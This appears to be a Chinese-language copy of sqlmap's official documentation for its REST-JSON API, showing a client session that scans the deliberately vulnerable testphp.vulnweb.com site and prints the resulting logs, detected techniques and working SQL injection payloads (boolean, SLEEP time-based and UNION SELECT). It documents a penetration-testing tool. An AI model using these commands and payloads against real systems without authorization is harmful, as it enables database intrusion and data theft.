[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

客戶端執行示例:

$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
    $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
]\{16\}') && echo $taskid
    $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
    $ curl http://192.168.110.1:8775/scan/$taskid/data
    $ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api> ?
help        Show this help message
new ARGS    Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data        Retrieve and show data for current task
log         Retrieve and show log for current task
status      Retrieve and show status for current task
stop        Stop current task
kill        Kill current task
list        Display all tasks
flush       Flush tasks (delete all tasks)
exit        Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "running", 
    "returncode": null, 
    "success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "terminated", 
    "returncode": 0, 
    "success": true
}
api (a42ddaef02e976f0)> log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
    "log": [
        {
            "message": "flushing session file", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing connection to the target URL", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "checking if the target is protected by some kind of WAF/
IPS", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing if the target URL is stable", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "target URL is stable", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing if GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "confirming that GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "heuristic (basic) test shows that GET parameter 'artist'
 might be injectable (possible DBMS: 'MySQL')", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing for SQL injection on GET parameter 'artist'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'AND boolean-based 
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
 ORDER BY or GROUP BY clause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
XP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace 
(JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL inline queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.0.12 AND time-based blind'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
D time-based blind' injectable ", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "automatically extending ranges for UNION query injection
 technique tests as there is at least one other (potential) technique found", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "target URL appears to have 3 columns in query", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "GET parameter 'artist' is 'Generic UNION query (NULL) - 
1 to 20 columns' injectable", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "the back-end DBMS is MySQL", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "fetching banner", 
            "level": "INFO", 
            "time": "12:48:24"
        }
    ], 
    "success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
    "data": [
        {
            "status": 1, 
            "type": 0, 
            "value": [
                {
                    "dbms": "MySQL", 
                    "suffix": "", 
                    "clause": [
                        1, 
                        9
                    ], 
                    "notes": [], 
                    "ptype": 1, 
                    "dbms_version": [
                        ">= 5.0.12"
                    ], 
                    "prefix": "", 
                    "place": "GET", 
                    "os": null, 
                    "conf": {
                        "code": null, 
                        "string": "hac", 
                        "notString": null, 
                        "titles": false, 
                        "regexp": null, 
                        "textOnly": false, 
                        "optimize": false
                    }, 
                    "parameter": "artist", 
                    "data": {
                        "1": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "AND boolean-based blind - WHERE or HAVING 
clause", 
                            "templatePayload": null, 
                            "vector": "AND [INFERENCE]", 
                            "falseCode": 200, 
                            "where": 1, 
                            "payload": "artist=1 AND 2794=2794"
                        }, 
                        "5": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "MySQL >= 5.0.12 AND time-based blind", 
                            "templatePayload": null, 
                            "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])", 
                            "falseCode": null, 
                            "where": 1, 
                            "payload": "artist=1 AND SLEEP([SLEEPTIME])"
                        }, 
                        "6": {
                            "comment": "[GENERIC_SQL_COMMENT]", 
                            "matchRatio": 0.85, 
                            "trueCode": null, 
                            "title": "Generic UNION query (NULL) - 1 to 20 colum
ns", 
                            "templatePayload": null, 
                            "vector": [
                                2, 
                                3, 
                                "[GENERIC_SQL_COMMENT]", 
                                "", 
                                "", 
                                "NULL", 
                                2, 
                                false, 
                                false
                            ], 
                            "falseCode": null, 
                            "where": 2, 
                            "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
                        }
                    }
                }
            ]
        }, 
        {
            "status": 1, 
            "type": 2, 
            "value": "5.1.73-0ubuntu0.10.04.1"
        }
    ], 
    "success": true, 
    "error": []
}
api (a42ddaef02e976f0)> exit
$

響應 JSON 資料中使用的一般程式碼:

  • status:
0 - in progress
1 - complete
  • type:
0 - target
1 - techniques
2 - dbms_fingerprint
3 - banner
4 - current_user
5 - current_db
6 - hostname
7 - is_dba
8 - users
9 - passwords
10 - privileges
11 - roles
12 - dbs
13 - tables
14 - columns
15 - schema
16 - count
17 - dump_table
18 - search
19 - sql_query
20 - common_tables
21 - common_columns
22 - file_read
23 - file_write
24 - os_cmd
25 - reg_read
26 - statements
  • returncode
null - still running
0 - ended gracefully
1 - general error occurred
255 - unhandled exception

官方文件